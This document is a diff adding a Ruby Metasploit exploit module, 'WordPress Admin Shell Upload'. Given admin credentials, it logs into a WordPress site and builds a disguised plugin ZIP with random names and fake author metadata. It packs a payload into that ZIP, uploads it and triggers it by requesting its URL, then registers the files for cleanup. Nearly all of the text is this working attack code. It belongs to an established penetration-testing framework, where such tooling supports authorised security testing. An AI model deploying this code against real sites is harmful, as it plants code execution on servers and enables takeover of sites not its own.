|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://www.metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'rex/zip' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Exploit::Remote |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + include Msf::HTTP::Wordpress |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info( |
| 17 | + info, |
| 18 | + 'Name' => 'WordPress Admin Shell Upload', |
| 19 | + 'Description' => %q{ |
| 20 | + This module will generate a plugin, pack the payload into it |
| 21 | + and upload it to a server running WordPress providing valid |
| 22 | + admin credentials are used. |
| 23 | + }, |
| 24 | + 'License' => MSF_LICENSE, |
| 25 | + 'Author' => |
| 26 | + [ |
| 27 | + 'Rob Carr <rob[at]rastating.com>' # Metasploit module |
| 28 | + ], |
| 29 | + 'DisclosureDate' => 'Feb 21 2015', |
| 30 | + 'Platform' => 'php', |
| 31 | + 'Arch' => ARCH_PHP, |
| 32 | + 'Targets' => [['WordPress', {}]], |
| 33 | + 'DefaultTarget' => 0 |
| 34 | + )) |
| 35 | + |
| 36 | + register_options( |
| 37 | + [ |
| 38 | + OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']), |
| 39 | + OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with']) |
| 40 | + ], self.class) |
| 41 | + end |
| 42 | + |
| 43 | + def username |
| 44 | + datastore['USERNAME'] |
| 45 | + end |
| 46 | + |
| 47 | + def password |
| 48 | + datastore['PASSWORD'] |
| 49 | + end |
| 50 | + |
| 51 | + def generate_plugin(plugin_name, payload_name) |
| 52 | + plugin_script = %Q{<?php |
| 53 | +/** |
| 54 | + * Plugin Name: #{plugin_name} |
| 55 | + * Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)} |
| 56 | + * Author: #{Rex::Text.rand_text_alpha(10)} |
| 57 | + * Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com |
| 58 | + * License: GPL2 |
| 59 | + */ |
| 60 | +?>} |
| 61 | + |
| 62 | + zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) |
| 63 | + zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script) |
| 64 | + zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded) |
| 65 | + zip |
| 66 | + end |
| 67 | + |
| 68 | + def exploit |
| 69 | + fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online? |
| 70 | + |
| 71 | + print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...") |
| 72 | + cookie = wordpress_login(username, password) |
| 73 | + fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil? |
| 74 | + print_good("#{peer} - Authenticated with WordPress") |
| 75 | + |
| 76 | + print_status("#{peer} - Preparing payload...") |
| 77 | + plugin_name = Rex::Text.rand_text_alpha(10) |
| 78 | + payload_name = "#{Rex::Text.rand_text_alpha(10)}" |
| 79 | + payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php") |
| 80 | + zip = generate_plugin(plugin_name, payload_name) |
| 81 | + |
| 82 | + print_status("#{peer} - Uploading payload...") |
| 83 | + uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie) |
| 84 | + fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded |
| 85 | + |
| 86 | + print_status("#{peer} - Executing the payload at #{payload_uri}...") |
| 87 | + register_files_for_cleanup("#{payload_name}.php") |
| 88 | + register_files_for_cleanup("#{plugin_name}.php") |
| 89 | + send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5) |
| 90 | + end |
| 91 | +end |
0 commit comments